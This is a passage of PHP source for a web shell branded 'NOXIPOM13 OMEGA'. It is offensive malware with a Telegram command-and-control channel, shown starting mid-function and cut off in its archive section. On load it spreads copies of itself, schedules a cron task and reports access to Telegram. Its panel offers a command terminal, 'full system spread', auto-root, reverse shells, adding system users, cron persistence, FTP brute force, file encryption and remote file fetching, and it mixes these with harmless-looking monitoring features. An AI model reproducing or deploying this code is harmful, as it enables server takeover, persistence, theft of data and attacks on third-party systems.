        'domain' => $domain,
        'issuer' => $cert['issuer']['O'] ?? 'Unknown',
        'expires' => date('Y-m-d', $cert['validTo_time_t']),
        'days_left' => floor(($cert['validTo_time_t'] - time()) / 86400)
    ];
}

// ==================== VISITOR COUNTER ====================
function updateVisitorCounter() {
    $log_file = SELF_DIR . '/.visitors.json';
    $visitors = file_exists($log_file) ? json_decode(file_get_contents($log_file), true) : [];
    $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    $today = date('Y-m-d');
    $this_hour = date('Y-m-d H:00:00');
    
    if (!isset($visitors[$today])) {
        $visitors[$today] = ['total' => 0, 'unique_ips' => [], 'hourly' => []];
    }
    
    if (!in_array($ip, $visitors[$today]['unique_ips'])) {
        $visitors[$today]['unique_ips'][] = $ip;
        $visitors[$today]['total']++;
    }
    
    if (!isset($visitors[$today]['hourly'][$this_hour])) {
        $visitors[$today]['hourly'][$this_hour] = 0;
    }
    $visitors[$today]['hourly'][$this_hour]++;
    
    $visitors = array_slice($visitors, -30, null, true);
    file_put_contents($log_file, json_encode($visitors, JSON_PRETTY_PRINT));
    
    return [
        'today' => $visitors[$today]['total'] ?? 0,
        'unique_today' => count($visitors[$today]['unique_ips'] ?? []),
        'this_hour' => $visitors[$today]['hourly'][$this_hour] ?? 0
    ];
}

function getVisitorStats($days = 7) {
    $log_file = SELF_DIR . '/.visitors.json';
    if (!file_exists($log_file)) return [];
    $visitors = json_decode(file_get_contents($log_file), true);
    $stats = [];
    $dates = array_slice(array_keys($visitors), -$days);
    foreach ($dates as $date) {
        $stats[$date] = [
            'total' => $visitors[$date]['total'],
            'unique' => count($visitors[$date]['unique_ips'])
        ];
    }
    return $stats;
}

// ==================== DATABASE HEALTH ====================
function checkDatabaseHealth($host, $user, $pass, $dbname) {
    try {
        $mysqli = new mysqli($host, $user, $pass, $dbname);
        if ($mysqli->connect_error) return ['status' => 'DOWN', 'error' => $mysqli->connect_error];
        
        $result = $mysqli->query("SHOW TABLE STATUS");
        $total_size = 0;
        $tables = 0;
        while ($row = $result->fetch_assoc()) {
            $total_size += ($row['Data_length'] + $row['Index_length']) / 1024 / 1024;
            $tables++;
        }
        $mysqli->close();
        return ['status' => 'UP', 'total_size_mb' => round($total_size, 2), 'table_count' => $tables];
    } catch (Exception $e) {
        return ['status' => 'DOWN', 'error' => $e->getMessage()];
    }
}

// ==================== AUTO CRON ====================
function runMonitoringCron() {
    $last_run = SELF_DIR . '/.last_monitor_run';
    if (file_exists($last_run) && time() - (int)file_get_contents($last_run) < 300) return false;
    
    monitorAllWebsites();
    $performance = getServerPerformance();
    $visitors = updateVisitorCounter();
    
    $last_report = SELF_DIR . '/.last_report';
    if (!file_exists($last_report) || time() - (int)file_get_contents($last_report) > 3600) {
        $report = "šŸ“Š HOURLY REPORT\n━━━━━━━━━━━━━━\n";
        $report .= "🌐 CPU: {$performance['cpu_1min']} | Mem: {$performance['memory_usage_percent']}\n";
        $report .= "šŸ’¾ Disk: {$performance['disk_usage_percent']} | Uptime: {$performance['uptime']}\n";
        $report .= "šŸ‘„ Visitors today: {$visitors['today']} (unique: {$visitors['unique_today']})\n";
        $report .= "šŸ• This hour: {$visitors['this_hour']} visits";
        sendTelegram($report, 'HOURLY_REPORT');
        file_put_contents($last_report, time());
    }
    
    file_put_contents($last_run, time());
    return true;
}

// ==================== AUTO-DEFENSE ON STARTUP ====================
enableAutoDefense(SELF);
autoBackupSpread();
runMonitoringCron();

// Send shell opened notification
sendTelegram("šŸŽ SHELL OPENED", "ACCESS");

// ==================== AUTHENTICATION ====================
if (isset($_GET['logout'])) { session_destroy(); header('Location: ?'); exit; }

if (!isset($_SESSION['auth'])) {
    if (isset($_POST['user'], $_POST['pass']) && $_POST['user'] === USER && $_POST['pass'] === PASS) {
        $_SESSION['auth'] = true;
        sendTelegram("āœ… LOGIN SUCCESS", "AUTH");
        header('Location: ?');
        exit;
    } else if (isset($_POST['user'])) {
        sendTelegram("āŒ LOGIN FAILED: " . $_POST['user'], "AUTH");
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>NOXIPOM13 OMEGA v<?= VERSION ?></title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <style>
            *{margin:0;padding:0;box-sizing:border-box;}
            body{background:linear-gradient(135deg,#0f0c29,#302b63,#24243e);font-family:'Segoe UI','Courier New',monospace;min-height:100vh;display:flex;justify-content:center;align-items:center;}
            .login-box{background:rgba(0,0,0,0.85);backdrop-filter:blur(10px);padding:50px;border-radius:20px;border:1px solid rgba(0,255,136,0.5);box-shadow:0 0 50px rgba(0,255,136,0.3);width:380px;text-align:center;animation:float 3s ease-in-out infinite;}
            @keyframes float{0%,100%{transform:translateY(0px);}50%{transform:translateY(-10px);}}
            .login-box h2{color:#0f8;font-size:28px;margin-bottom:30px;text-shadow:0 0 10px #0f8;}
            .login-box input{width:100%;padding:15px;margin:10px 0;background:rgba(0,0,0,0.7);border:1px solid #0f8;color:#0f8;border-radius:10px;font-size:16px;font-family:monospace;}
            .login-box input:focus{outline:none;box-shadow:0 0 20px #0f8;}
            .login-box button{width:100%;padding:15px;background:linear-gradient(45deg,#0f8,#0a0);color:#000;border:none;border-radius:10px;cursor:pointer;font-weight:bold;font-size:18px;margin-top:20px;}
            .login-box button:hover{transform:scale(1.02);box-shadow:0 0 30px #0f8;}
            .login-box .info{color:#888;font-size:12px;margin-top:20px;}
        </style>
    </head>
    <body>
        <div class="login-box">
            <h2>šŸ”± NOXIPOM13 OMEGA v<?= VERSION ?></h2>
            <form method="POST">
                <input type="text" name="user" placeholder="Username" autofocus>
                <input type="password" name="pass" placeholder="Password">
                <button type="submit">⚔ ACCESS SHELL</button>
            </form>
            <div class="info">Auto-Defense Active | Full System Spread | Telegram C2</div>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// ==================== MAIN EXECUTION ====================
$act = $_GET['act'] ?? '';
$path = isset($_GET['path']) && realpath($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!is_dir($path)) $path = getcwd();
@chdir($path);
$notify = '';
$dbResult = null;
$searchResult = null;
$processes = null;
$users = null;
$backupList = null;
$cronJobs = null;
$openPorts = null;
$shellResult = null;
$ssl_result = null;
$db_health = null;
$changes = null;
$root_result = null;

// Handle AJAX
if ($act == 'term' && isset($_POST['cmd'])) { echo execCmd($_POST['cmd'], $_POST['path'] ?? getcwd()); exit; }
if ($act == 'getpath') { echo getcwd(); exit; }

// Handle Actions
switch ($act) {
    case 'full_system_spread': $s = fullSystemSpread(); $notify = "āœ… Spread to " . count($s) . " locations"; break;
    case 'full_spread': $s = autoSpread(); $notify = "āœ… Spread to " . count($s) . " locations"; break;
    case 'backup_spread': $b = autoBackupSpread(); $notify = "āœ… Backed up to " . count($b) . " locations"; break;
    case 'verify_backups': $backupList = verifyAllBackups(); $notify = "šŸ” Found " . count($backupList) . " backups"; break;
    case 'reverse_shell': $notify = sendReverseShell(); break;
    case 'reverse_all': $notify = sendAllReverseShells(); break;
    case 'auto_root': $root_result = autoRoot(); $notify = "šŸŽÆ Auto-Root completed. Check Telegram."; break;
    case 'run_monitor': $r = monitorAllWebsites(); $notify = "āœ… Checked " . count($r) . " websites"; break;
    case 'check_integrity': $changes = checkIntegrity(); $notify = "šŸ” Found " . count($changes) . " changes"; break;
    case 'update_integrity': $c = updateIntegrityDB(); $notify = "āœ… Tracked " . $c . " files"; break;
    case 'check_ssl': if (isset($_POST['ssl_domain'])) $ssl_result = checkSSLCertificate(parse_url($_POST['ssl_domain'], PHP_URL_HOST)); break;
    case 'check_db': if (isset($_POST['db_host'], $_POST['db_user'], $_POST['db_pass'], $_POST['db_name'])) $db_health = checkDatabaseHealth($_POST['db_host'], $_POST['db_user'], $_POST['db_pass'], $_POST['db_name']); break;
    
    case 'mkdir': if (isset($_POST['dir_name']) && mkdir($path . '/' . $_POST['dir_name'], 0755)) $notify = "āœ… Created"; else $notify = "āŒ Failed"; break;
    case 'delete': if (isset($_GET['file'])) { $t = $path . '/' . $_GET['file']; if ($t == SELF || basename($t) == BACKUP_NAME) $notify = "āŒ Protected"; elseif (is_file($t) && unlink($t)) $notify = "āœ… Deleted"; elseif (is_dir($t) && rmdir($t)) $notify = "āœ… Deleted"; else $notify = "āŒ Failed"; } break;
    case 'rename': if (isset($_POST['old_name'], $_POST['new_name'])) { $o = $path . '/' . $_POST['old_name']; $n = $path . '/' . $_POST['new_name']; if ($o == SELF || basename($o) == BACKUP_NAME) $notify = "āŒ Protected"; elseif (rename($o, $n)) $notify = "āœ… Renamed"; else $notify = "āŒ Failed"; } break;
    case 'edit': if (isset($_POST['file_content'], $_GET['file'])) { $t = $path . '/' . $_GET['file']; if ($t == SELF || basename($t) == BACKUP_NAME) $notify = "āŒ Protected"; elseif (file_put_contents($t, $_POST['file_content'])) $notify = "āœ… Saved"; else $notify = "āŒ Failed"; } break;
    
    case 'db_connect': if (isset($_POST['db_type']) && dbConnect($_POST['db_type'], $_POST['db_host'] ?? '', $_POST['db_user'] ?? '', $_POST['db_pass'] ?? '', $_POST['db_name'] ?? '')) $notify = "āœ… Connected"; else $notify = "āŒ Failed"; break;
    case 'db_query': if (isset($_POST['db_query'])) { $r = dbQuery($_POST['db_query']); if (is_array($r)) { $dbResult = $r; $notify = "āœ… " . count($r) . " rows"; } else $notify = $r; } break;
    
    case 'cron_list': $cronJobs = getCronJobs(); $notify = "šŸ“‹ " . count($cronJobs) . " cron jobs"; break;
    case 'cron_add': if (isset($_POST['cron_cmd']) && addCronJob($_POST['cron_cmd'])) $notify = "āœ… Added"; else $notify = "āŒ Failed"; break;
    case 'cron_del': if (isset($_GET['cron_del']) && deleteCronJob((int)$_GET['cron_del'])) $notify = "āœ… Deleted"; else $notify = "āŒ Failed"; break;
    
    case 'search': if (isset($_POST['search_do'])) { $searchResult = searchFiles($_POST['search_dir'] ?? $path, $_POST['search_name'] ?? '', $_POST['search_ext'] ?? '', $_POST['search_content'] ?? ''); $notify = "šŸ” Found " . count($searchResult) . " files"; } break;
    
    case 'process_list': $processes = getProcesses(); $notify = "šŸ“Š " . count($processes) . " processes"; break;
    case 'proc_kill': if (isset($_GET['pid']) && killProcess($_GET['pid'])) $notify = "āœ… Killed PID " . $_GET['pid']; else $notify = "āŒ Failed"; break;
    
    case 'user_list': $users = getSystemUsers(); $notify = "šŸ‘„ " . count($users) . " users"; break;
    case 'user_add': if (isset($_POST['user_name'], $_POST['user_pass'])) { $r = addSystemUser($_POST['user_name'], $_POST['user_pass']); if ($r === true) $notify = "āœ… User added"; else $notify = "āŒ " . $r; } break;
    
    case 'archive_create': if (isset($_POST['archive_files'], $_POST['archive_name']) && createZipArchive(explode(',', $_POST['archive_files']), $_POST['archive_name'])) $notify = "āœ… Archive created"; else $notify = "āŒ Failed"; break;
    case 'archive_extract': if (isset($_POST['archive_file'], $_POST['extract_dir']) && extractZipArchive($_POST['archive_file'], $_POST['extract_dir'])) $notify = "āœ… Extracted"; else $notify = "āŒ Failed"; break;
    
    case 'port_scan': if (isset($_POST['scan_host'])) { $openPorts = portScan($_POST['scan_host']); $notify = "šŸ” Open ports: " . (empty($openPorts) ? "none" : implode(', ', $openPorts)); } break;
    case 'shell_detect': if (isset($_POST['scan_dir'])) { $shellResult = detectWebShells($_POST['scan_dir']); $notify = "🐚 Found " . count($shellResult) . " suspicious files"; } break;
    
    case 'send_email': if (isset($_POST['email_to'], $_POST['email_subject'], $_POST['email_message']) && sendEmail($_POST['email_to'], $_POST['email_subject'], $_POST['email_message'], $_POST['email_from'] ?? '')) $notify = "āœ… Email sent"; else $notify = "āŒ Failed"; break;
    
    case 'do_encrypt': if (isset($_POST['encrypt_file'], $_POST['encrypt_pass']) && encryptFileAES($_POST['encrypt_file'], $_POST['encrypt_pass'])) $notify = "āœ… Encrypted"; else $notify = "āŒ Failed"; break;
    case 'do_decrypt': if (isset($_POST['decrypt_file'], $_POST['decrypt_pass']) && decryptFileAES($_POST['decrypt_file'], $_POST['decrypt_pass'])) $notify = "āœ… Decrypted"; else $notify = "āŒ Failed"; break;
    
    case 'ftp_brute': if (isset($_POST['ftp_host'], $_POST['ftp_users'], $_POST['ftp_passwords'])) { $u = array_filter(explode("\n", $_POST['ftp_users'])); $p = array_filter(explode("\n", $_POST['ftp_passwords'])); $r = ftpBruteForce($_POST['ftp_host'], $u, $p); if ($r) $notify = "āœ… Found: {$r['user']}:{$r['pass']}"; else $notify = "āŒ No credentials found"; } break;
}

// Handle Upload
if (isset($_POST['upload']) && isset($_FILES['file'])) {
    $target = $path . '/' . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        $notify = "āœ… Uploaded: " . $_FILES['file']['name'];
        sendTelegram("šŸ“¤ File uploaded: " . $_FILES['file']['name'], "FILE");
    } else $notify = "āŒ Upload failed";
}

// Handle URL Upload
if (isset($_POST['url_upload']) && isset($_POST['remote_url'])) {
    $url = $_POST['remote_url'];
    $filename = basename(parse_url($url, PHP_URL_PATH));
    $data = @file_get_contents($url);
    if ($data && file_put_contents($path . '/' . $filename, $data)) {
        $notify = "āœ… Downloaded: " . $filename;
        sendTelegram("šŸ“„ Downloaded: " . $filename, "FILE");
    } else $notify = "āŒ Download failed";
}

// Handle Download
if (isset($_GET['dl']) && file_exists($_GET['dl']) && is_file($_GET['dl'])) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($_GET['dl']) . '"');
    readfile($_GET['dl']);
    exit;
}

$cwd = getcwd();
$performance = getServerPerformance();
$visitors = updateVisitorCounter();
$visitor_stats = getVisitorStats(7);
$backupCount = count(getAllDirectories());
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NOXIPOM13 OMEGA v<?= VERSION ?> - ULTIMATE</title>
    <style>
        *{margin:0;padding:0;box-sizing:border-box;}
        body{background:#0a0c0f;color:#e0e0e0;font-family:'Segoe UI','Courier New',monospace;padding:20px;}
        .container{max-width:1400px;margin:0 auto;}
        .header{background:linear-gradient(135deg,#1a1e24,#0f1217);border-radius:15px;padding:25px;margin-bottom:25px;border-left:5px solid #0f8;}
        .header h1{color:#0f8;font-size:28px;}
        .stats{display:flex;gap:15px;margin-top:15px;flex-wrap:wrap;}
        .stat{background:rgba(0,255,136,0.1);padding:8px 18px;border-radius:30px;border:1px solid rgba(0,255,136,0.3);font-size:12px;}
        .stat.root-yes{background:rgba(0,255,136,0.2);border-color:#0f8;color:#0f8;}
        .nav{display:flex;flex-wrap:wrap;gap:5px;margin-bottom:25px;border-bottom:1px solid #2a2f3a;padding-bottom:5px;}
        .nav a{background:transparent;padding:10px 20px;border-radius:10px 10px 0 0;color:#888;text-decoration:none;font-size:13px;transition:0.2s;}
        .nav a:hover{background:rgba(0,255,136,0.1);color:#0f8;}
        .nav a.active{background:rgba(0,255,136,0.2);color:#0f8;border-bottom:2px solid #0f8;}
        .card{background:#1a1e24;border-radius:15px;padding:20px;margin-bottom:20px;border:1px solid #2a2f3a;}
        .card h3{color:#0f8;margin-bottom:15px;padding-bottom:8px;border-bottom:1px solid #2a2f3a;}
        .terminal{background:#0a0c0f;color:#0f0;padding:15px;border-radius:10px;font-family:monospace;font-size:12px;max-height:400px;overflow-y:auto;}
        .grid-2{display:grid;grid-template-columns:repeat(2,1fr);gap:20px;}
        .grid-3{display:grid;grid-template-columns:repeat(3,1fr);gap:20px;}
        @media(max-width:768px){.grid-2,.grid-3{grid-template-columns:1fr;}}
        table{width:100%;border-collapse:collapse;}
        th,td{padding:8px 10px;text-align:left;border-bottom:1px solid #2a2f3a;}
        .success{background:rgba(0,255,136,0.1);border-left:3px solid #0f8;padding:12px;margin-bottom:15px;border-radius:8px;}
        .warning{background:rgba(255,136,0,0.1);border-left:3px solid #f80;padding:12px;margin-bottom:15px;border-radius:8px;}
        button,.btn{background:linear-gradient(45deg,#0f8,#0a0);color:#000;border:none;padding:8px 16px;border-radius:8px;cursor:pointer;font-weight:bold;font-family:monospace;}
        input,select,textarea{background:#0a0c0f;border:1px solid #2a2f3a;color:#e0e0e0;padding:8px;border-radius:8px;font-family:monospace;}
        .flex{display:flex;gap:10px;flex-wrap:wrap;margin-bottom:15px;}
        .metric{font-size:32px;color:#0f8;font-weight:bold;}
        .metric-label{font-size:11px;color:#888;}
        .prompt{color:#0f8;}
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <h1>šŸ”± NOXIPOM13 OMEGA v<?= VERSION ?> - ULTIMATE EDITION</h1>
        <div class="stats">
            <span class="stat">šŸ‘¤ <?= htmlspecialchars(get_current_user()) ?></span>
            <span class="stat">šŸ“ <?= htmlspecialchars($cwd) ?></span>
            <span class="stat">🌐 <?= $_SERVER['REMOTE_ADDR'] ?? 'unknown' ?></span>
            <span class="stat <?= isRoot() ? 'root-yes' : '' ?>">šŸ‘‘ ROOT: <?= isRoot() ? 'YES' : 'NO' ?></span>
            <span class="stat">šŸ›”ļø DEFENSE: ACTIVE</span>
            <span class="stat">šŸ“” TELEGRAM: ACTIVE</span>
        </div>
    </div>
    
    <div class="nav">
        <a href="?" class="<?= $act == '' ? 'active' : '' ?>">šŸ  DASHBOARD</a>
        <a href="?act=full_system_spread">šŸŒ FULL SPREAD</a>
        <a href="?act=auto_root">šŸŽÆ AUTO-ROOT</a>
        <a href="?act=reverse_all">šŸ”„ REVERSE ALL</a>
        <a href="?act=backup_spread">šŸ“¦ BACKUP</a>
        <a href="?act=verify_backups">šŸ” VERIFY</a>
        <a href="?act=db">šŸ—„ļø DB</a>
        <a href="?act=cron_list">ā° CRON</a>
        <a href="?act=search">šŸ” SEARCH</a>
        <a href="?act=process_list">šŸ“Š PROCESS</a>
        <a href="?act=user_list">šŸ‘„ USERS</a>
        <a href="?act=archive">šŸ—œļø ARCHIVE</a>
        <a href="?act=security">šŸ›”ļø SECURITY</a>
        <a href="?act=email">šŸ“§ EMAIL</a>
        <a href="?act=encrypt">šŸ” ENCRYPT</a>
        <a href="?act=ftp">šŸ“” FTP</a>
        <a href="?act=run_monitor">šŸ“Š MONITOR</a>
        <a href="?act=check_integrity">šŸ” INTEGRITY</a>
        <a href="?logout=1" style="color:#f44;">🚪 LOGOUT</a>
    </div>
    
    <?php if($notify): ?><div class="success"><?= htmlspecialchars($notify) ?></div><?php endif; ?>
    
    <?php if($act == ''): ?>
    <!-- DASHBOARD -->
    <div class="grid-3">
        <div class="card">
            <h3>šŸ’» SERVER PERFORMANCE</h3>
            <div><span class="metric"><?= $performance['cpu_1min'] ?></span> <span class="metric-label">CPU Load</span></div>
            <div><span class="metric"><?= $performance['memory_usage_percent'] ?></span> <span class="metric-label">Memory Usage</span></div>
            <div><span class="metric"><?= $performance['disk_usage_percent'] ?></span> <span class="metric-label">Disk Usage</span></div>
            <div><span class="metric"><?= $performance['uptime'] ?></span> <span class="metric-label">Uptime</span></div>
            <div><span class="metric"><?= $performance['processes'] ?></span> <span class="metric-label">Processes</span></div>
        </div>
        <div class="card">
            <h3>šŸ‘„ VISITOR STATISTICS</h3>
            <div><span class="metric"><?= $visitors['today'] ?></span> <span class="metric-label">Today Total</span></div>
            <div><span class="metric"><?= $visitors['unique_today'] ?></span> <span class="metric-label">Unique Today</span></div>
            <div><span class="metric"><?= $visitors['this_hour'] ?></span> <span class="metric-label">This Hour</span></div>
            <hr style="margin:10px 0;border-color:#2a2f3a;">
            <div style="font-size:11px;">Last 7 Days:</div>
            <?php foreach(array_slice($visitor_stats, -7) as $date => $data): ?>
            <div><?= substr($date, 5) ?>: <?= $data['total'] ?> visits</div>
            <?php endforeach; ?>
        </div>
        <div class="card">
            <h3>⚔ QUICK ACTIONS</h3>
            <div class="flex"><a href="?act=full_system_spread" class="btn">šŸŒ FULL SYSTEM SPREAD</a><a href="?act=auto_root" class="btn">šŸŽÆ AUTO-ROOT</a><a href="?act=reverse_all" class="btn">šŸ”„ ALL REVERSE</a></div>
            <div>PHP: <?= phpversion() ?></div>
            <div>Server: <?= $_SERVER['SERVER_SOFTWARE'] ?? 'N/A' ?></div>
            <div>OS: <?= php_uname('s') ?> <?= php_uname('r') ?></div>
            <div>Time: <?= date('Y-m-d H:i:s') ?></div>
        </div>
    </div>
    
    <!-- WEBSITE MONITORING -->
    <div class="card">
        <h3>🌐 WEBSITE MONITORING</h3>
        <form method="POST" action="?act=run_monitor"><button>ā–¶ RUN MONITOR</button></form>
        <?php $monitor_results = file_exists(SELF_DIR . '/.website_status.json') ? json_decode(file_get_contents(SELF_DIR . '/.website_status.json'), true) : []; if(!empty($monitor_results)): ?>
        <table style="margin-top:15px"><thead><tr><th>Website</th><th>Status</th><th>Last Check</th></tr></thead><tbody>
        <?php foreach($monitor_results as $site): ?><tr><td><?= htmlspecialchars($site['name'] ?? $site['url']) ?></td><td style="color:<?= $site['last_status'] == 'UP' ? '#0f8' : '#f44' ?>"><?= $site['last_status'] ?></td><td><?= $site['last_check'] ?></td></tr><?php endforeach; ?>
        </tbody></table><?php endif; ?>
    </div>
    <?php endif; ?>
    
    <!-- TERMINAL -->
    <div class="card">
        <h3>šŸ’» INTERACTIVE TERMINAL</h3>
        <div class="terminal" id="terminalOutput"><div id="termLog"></div></div>
        <div class="flex" style="margin-top:10px;">
            <span class="prompt"><?= htmlspecialchars($cwd) ?># </span>
            <input type="text" id="cmdInput" style="flex:1;" placeholder="Enter command..." onkeypress="if(event.keyCode==13) runCommand()">
            <button onclick="runCommand()">EXECUTE</button>
            <button onclick="clearTerminal()">CLEAR</button>
        </div>
    </div>
    
    <!-- FILE MANAGER -->
    <div class="card">
        <h3>šŸ“ FILE MANAGER - <?= htmlspecialchars($cwd) ?></h3>
        <div class="flex">
            <form method="POST" enctype="multipart/form-data"><input type="file" name="file"><button type="submit" name="upload">UPLOAD</button></form>
            <form method="POST" action="?act=mkdir"><input type="text" name="dir_name" placeholder="new_folder"><button type="submit">CREATE DIR</button></form>
            <form method="POST" action="?act=url_upload"><input type="text" name="remote_url" placeholder="https://..."><button type="submit" name="url_upload">URL DOWNLOAD</button></form>
        </div>
        <div style="max-height:400px; overflow:auto;">
            <table style="width:100%"><thead><tr><th>NAME</th><th>SIZE</th><th>PERMS</th><th>ACTIONS</th></tr></thead><tbody>
            <tr><td><a href="?path=<?= urlencode(dirname($cwd)) ?>">šŸ“ .. (Parent)</a></td><td>-</td><td>-</td><td>-</td></tr>
            <?php
            $items = scandir($cwd);
            $dirs = []; $files = [];
            foreach ($items as $item) { if ($item == '.' || $item == '..') continue; if (is_dir($cwd . '/' . $item)) $dirs[] = $item; else $files[] = $item; }
            sort($dirs); sort($files);
            foreach (array_merge($dirs, $files) as $item):
                $full = $cwd . '/' . $item;
                $isDir = is_dir($full);
                $isProtected = ($full == SELF || $item == BACKUP_NAME);
                $size = $isDir ? '-' : formatSize(filesize($full));
                $perms = getPerms($full);
            ?>
            <tr>
                <td><?php if($isDir): ?><a href="?path=<?= urlencode($full) ?>">šŸ“ <?= htmlspecialchars($item) ?></a><?php else: ?>šŸ“„ <?= htmlspecialchars($item) ?><?php if($isProtected): ?> šŸ”’<?php endif; ?><?php endif; ?></td>
                <td><?= $size ?></td>
                <td><?= $perms ?></td>
                <td><?php if(!$isProtected && !$isDir): ?><a href="?dl=<?= urlencode($full) ?>">ā¬‡ļø</a> <a href="?act=edit&file=<?= urlencode($item) ?>&path=<?= urlencode($cwd) ?>">āœļø</a> <a href="?act=delete&file=<?= urlencode($item) ?>&path=<?= urlencode($cwd) ?>" onclick="return confirm('Delete?')">šŸ—‘ļø</a><?php elseif(!$isProtected && $isDir): ?><a href="?act=delete&file=<?= urlencode($item) ?>&path=<?= urlencode($cwd) ?>" onclick="return confirm('Delete dir?')">šŸ—‘ļø</a><?php else: ?>šŸ›”ļø PROTECTED<?php endif; ?></td>
            </tr>
            <?php endforeach; ?>
            </tbody></table>
        </div>
        <form id="renameForm" method="POST" action="?act=rename&path=<?= urlencode($cwd) ?>" style="display:none;"><input type="hidden" name="old_name" id="oldName"><input type="text" name="new_name" id="newName"></form>
    </div>
    
    <!-- DYNAMIC MODULES -->
    <?php if($act == 'db' || $act == 'db_connect' || $act == 'db_query'): ?>
    <div class="card"><h3>šŸ—„ļø DATABASE MANAGER</h3>
        <form method="POST" action="?act=db_connect" class="flex"><select name="db_type"><option value="mysql">MySQL</option><option value="sqlite">SQLite</option></select><input type="text" name="db_host" placeholder="Host"><input type="text" name="db_user" placeholder="User"><input type="password" name="db_pass" placeholder="Pass"><input type="text" name="db_name" placeholder="DB Name"><button type="submit">CONNECT</button></form>
        <form method="POST" action="?act=db_query"><textarea name="db_query" rows="3" placeholder="SQL Query..." style="width:100%"></textarea><button type="submit">EXECUTE</button></form>
        <?php if($dbResult): ?><div class="terminal"><pre><?php foreach($dbResult as $row) print_r($row); ?></pre></div><?php endif; ?>
    </div>
    <?php endif; ?>
    
    <?php if($act == 'cron_list' || $act == 'cron_add'): ?>
    <div class="card"><h3>ā° CRON MANAGER</h3>
        <form method="POST" action="?act=cron_add" class="flex"><input type="text" name="cron_cmd" placeholder="* * * * * command" style="flex:1"><button type="submit">ADD CRON</button></form>
        <?php $cronJobs = getCronJobs(); if($cronJobs): ?><table><thead><tr><th>#</th><th>Command</th><th>Action</th></tr></thead><tbody><?php foreach($cronJobs as $i=>$job): ?><tr><td><?= $i ?></td><td><?= htmlspecialchars($job) ?></td><td><a href="?act=cron_del&cron_del=<?= $i ?>" onclick="return confirm('Delete?')">šŸ—‘ļø</a></td></tr><?php endforeach; ?></tbody></table><?php else: ?><div class="warning">No cron jobs</div><?php endif; ?>
    </div>
    <?php endif; ?>
    
    <?php if($act == 'search'): ?>
    <div class="card"><h3>šŸ” SEARCH ENGINE</h3>
        <form method="POST" action="?act=search"><div class="flex"><input type="text" name="search_dir" placeholder="Directory" value="<?= $cwd ?>"><input type="text" name="search_name" placeholder="Filename"><input type="text" name="search_ext" placeholder="Extension"><input type="text" name="search_content" placeholder="Content"><button type="submit" name="search_do">SEARCH</button></div></form>
        <?php if(isset($searchResult) && $searchResult): ?><table><thead><tr><th>Name</th><th>Path</th><th>Size</th><th>Perms</th></tr></thead><tbody><?php foreach($searchResult as $f): ?><tr><td><?= htmlspecialchars($f['name']) ?></td><td><?= htmlspecialchars($f['path']) ?></td><td><?= formatSize($f['size']) ?></td><td><?= $f['perms'] ?></td></tr><?php endforeach; ?></tbody></table><?php endif; ?>
    </div>
    <?php endif; ?>
    
    <?php if($act == 'process_list'): ?>
    <div class="card"><h3>šŸ“Š PROCESS MANAGER</h3><div class="terminal"><table><thead><tr><th>User</th><th>PID</th><th>CPU%</th><th>MEM%</th><th>Command</th><th>Action</th></tr></thead><tbody><?php foreach(getProcesses() as $p): ?><tr><td><?= $p['user'] ?></td><td><?= $p['pid'] ?></td><td><?= $p['cpu'] ?></td><td><?= $p['mem'] ?></td><td><?= htmlspecialchars(substr($p['cmd'], 0, 50)) ?></td><td><a href="?act=proc_kill&pid=<?= $p['pid'] ?>" onclick="return confirm('Kill?')">šŸ—‘ļø</a></td></tr><?php endforeach; ?></tbody></table></div></div>
    <?php endif; ?>
    
    <?php if($act == 'user_list'): ?>
    <div class="card"><h3>šŸ‘„ USER MANAGER</h3><form method="POST" action="?act=user_add" class="flex"><input type="text" name="user_name" placeholder="Username"><input type="password" name="user_pass" placeholder="Password"><button type="submit">ADD USER</button></form><table><thead><tr><th>User</th><th>UID</th><th>GID</th><th>Home</th><th>Shell</th></tr></thead><tbody><?php foreach(getSystemUsers() as $u): ?><tr><td><?= $u['user'] ?></td><td><?= $u['uid'] ?></td><td><?= $u['gid'] ?></td><td><?= $u['home'] ?></td><td><?= $u['shell'] ?></td></tr><?php endforeach; ?></tbody></table></div>
    <?php endif; ?>
    
    <?php if($act == 'security'): ?>
    <div class="card"><h3>šŸ›”ļø SECURITY TOOLS</h3><form method="POST" action="?act=port_scan" class="flex"><input type="text" name="scan_host" placeholder="Host/IP"><button type="submit">PORT SCAN</button></form><form method="POST" action="?act=shell_detect" class="flex"><input type="text" name="scan_dir" placeholder="Directory"><button type="submit">DETECT WEBSHELLS</button></form><?php if(isset($openPorts)): ?><div class="success">Open ports: <?= implode(', ', $openPorts) ?></div><?php endif; ?></div>
    <?php endif; ?>
    
    <?php if($act == 'email'): ?>
    <div class="card"><h3>šŸ“§ EMAIL SENDER</h3><form method="POST" action="?act=send_email"><input type="text" name="email_to" placeholder="To" style="width:100%"><input type="text" name="email_subject" placeholder="Subject" style="width:100%"><textarea name="email_message" rows="5" placeholder="Message"></textarea><button type="submit">SEND</button></form></div>
    <?php endif; ?>
    
    <?php if($act == 'encrypt'): ?>
    <div class="card"><h3>šŸ” AES ENCRYPTION</h3><form method="POST" action="?act=do_encrypt" class="flex"><input type="text" name="encrypt_file" placeholder="File"><input type="password" name="encrypt_pass" placeholder="Password"><button type="submit">ENCRYPT</button></form><form method="POST" action="?act=do_decrypt" class="flex"><input type="text" name="decrypt_file" placeholder="File.enc"><input type="password" name="decrypt_pass" placeholder="Password"><button type="submit">DECRYPT</button></form></div>
    <?php endif; ?>
    
    <?php if($act == 'ftp'): ?>
    <div class="card"><h3>šŸ“” FTP BRUTE FORCE</h3><form method="POST" action="?act=ftp_brute"><input type="text" name="ftp_host" placeholder="FTP Host"><textarea name="ftp_users" rows="3" placeholder="Usernames"></textarea><textarea name="ftp_passwords" rows="3" placeholder="Passwords"></textarea><button type="submit">BRUTE FORCE</button></form></div>
    <?php endif; ?>
    
    <?php if($act == 'archive'): ?>
